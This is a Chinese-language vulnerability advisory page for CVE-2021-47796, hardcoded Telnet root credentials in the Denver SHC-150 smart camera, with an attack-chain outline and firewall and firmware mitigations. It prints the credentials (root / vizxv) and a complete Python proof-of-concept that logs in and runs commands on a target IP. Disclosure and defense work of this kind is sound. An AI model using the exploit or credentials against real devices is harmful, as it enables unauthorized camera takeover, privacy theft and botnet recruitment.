IPBUF安全漏洞报告
English
CVE-2021-47796 CVSS 9.8 严重

CVE-2021-47796 Denver SHC-150智能摄像头硬编码Telnet凭据远程代码执行漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47796
漏洞类型
硬编码凭据/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Denver SHC-150 Smart Wifi Camera

相关标签

CVE-2021-47796硬编码凭据后门账户远程代码执行TelnetIoT安全智能摄像头Denver SHC-150默认凭据物联网漏洞

漏洞概述

CVE-2021-47796是Denver SHC-150智能WiFi摄像头中的一个严重安全漏洞,CVSS评分高达9.8分(满分10分)。该漏洞源于设备固件中包含硬编码的Telnet服务凭据,攻击者可以在无需任何认证的情况下通过Telnet协议(端口23)连接到设备,并获得设备的完整Linux shell访问权限。一旦攻击者获得shell访问权限,就可以执行任意系统命令,完全控制摄像头的操作系统,包括监控视频流、修改系统配置、植入恶意软件或将设备纳入僵尸网络等。由于该摄像头通常部署在家庭和商业环境中用于安全监控,攻击者可以利用已入侵的设备进行隐私窃取、横向移动攻击或发起DDoS攻击等恶意活动。该漏洞的严重性在于其利用门槛极低——无需高级技术知识或复杂工具,任何人都可以通过公开的默认凭据远程控制设备。

技术细节

该漏洞的根本原因在于Denver SHC-150智能摄像头的Linux固件中嵌入了一个硬编码的后门账户。攻击者只需使用该隐藏的默认凭据连接到设备的Telnet服务(监听在TCP端口23),即可绕过正常的身份验证机制直接获得root级别的shell访问。由于Telnet协议以明文传输数据,且设备出厂时默认启用了该服务,攻击者可以在互联网上快速扫描并识别易受攻击的摄像头设备。成功连接后,攻击者拥有完整的命令行界面,可以执行任意Linux命令,包括:查看系统文件和网络配置、访问摄像头视频流数据、修改启动脚本实现持久化驻留、安装额外的恶意软件或后门工具、将设备作为跳板进行内网渗透等。攻击者还可以利用摄像头的网络资源进行加密货币挖矿或参与大规模分布式拒绝服务(DDoS)攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者通过Shodan、Censys等搜索引擎扫描互联网上的Denver SHC-150摄像头设备,识别开放Telnet端口(23)的目标
STEP 2
步骤2: 漏洞利用
攻击者使用硬编码的默认凭据(用户名root,密码vizxv)通过Telnet协议连接到目标设备的23端口
STEP 3
步骤3: 认证绕过
由于固件中硬编码的凭据绕过正常认证流程,攻击者直接获得root级别的Linux shell访问权限
STEP 4
步骤4: 远程代码执行
攻击者可以在摄像头操作系统上执行任意系统命令,包括查看系统文件、访问视频流、修改配置等
STEP 5
步骤5: 持久化控制
攻击者可植入后门、修改启动脚本或安装恶意软件,实现长期控制摄像头设备
STEP 6
步骤6: 恶意活动
攻击者利用被入侵的摄像头进行隐私窃取、横向渗透、加密货币挖矿或参与DDoS攻击等非法活动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2021-47796 PoC - Denver SHC-150 Smart Wifi Camera Hardcoded Telnet Credential Reference: https://www.exploit-db.com/exploits/50160 """ import socket import sys import telnetlib def exploit_camera(target_ip, target_port=23): """ Exploit hardcoded telnet credential on Denver SHC-150 camera """ try: print(f"[*] Connecting to {target_ip}:{target_port}...") # Connect to telnet service tn = telnetlib.Telnet(target_ip, target_port, timeout=10) # Wait for login prompt tn.read_until(b"login: ", timeout=5) # Use hardcoded credentials (exploit-db reference) # Default credential: root / vizxv print("[*] Sending hardcoded credentials...") tn.write(b"root\n") tn.read_until(b"Password: ", timeout=5) tn.write(b"vizxv\n") # Check for successful login response = tn.read_until(b"#", timeout=5) if b"#" in response or b"$" in response: print("[+] SUCCESS! Got shell access with root privileges!") print("[*] You now have full control of the camera.") # Execute some verification commands tn.write(b"uname -a\n") uname_result = tn.read_until(b"#", timeout=3) print(f"[*] System info: {uname_result.decode('utf-8', errors='ignore')}") tn.write(b"id\n") id_result = tn.read_until(b"#", timeout=3) print(f"[*] User ID: {id_result.decode('utf-8', errors='ignore')}") return True else: print("[-] FAILED! Authentication failed.") return False except socket.timeout: print("[-] Connection timeout - target may not be vulnerable or is offline.") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_ip> [port]") print(f"Example: python3 {sys.argv[0]} 192.168.1.100 23") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 23 print("=" * 60) print("CVE-2021-47796 - Denver SHC-150 Hardcoded Telnet Credential") print("=" * 60) exploit_camera(target, port)

影响范围

Denver SHC-150 Smart Wifi Camera (所有固件版本)

防御指南

临时缓解措施
立即在网络边界防火墙上阻断外部对摄像头Telnet端口(23)的访问。如业务确实需要远程管理,应通过VPN或跳板机方式访问,并确保Telnet服务仅对授权管理IP开放。同时建议将设备更换为已修复该漏洞的最新固件版本,或考虑部署具有安全启动和自动更新功能的替代产品。在无法立即修复的情况下,可通过内部网络ACL限制对Telnet服务的访问,并加强网络监控以检测可疑连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表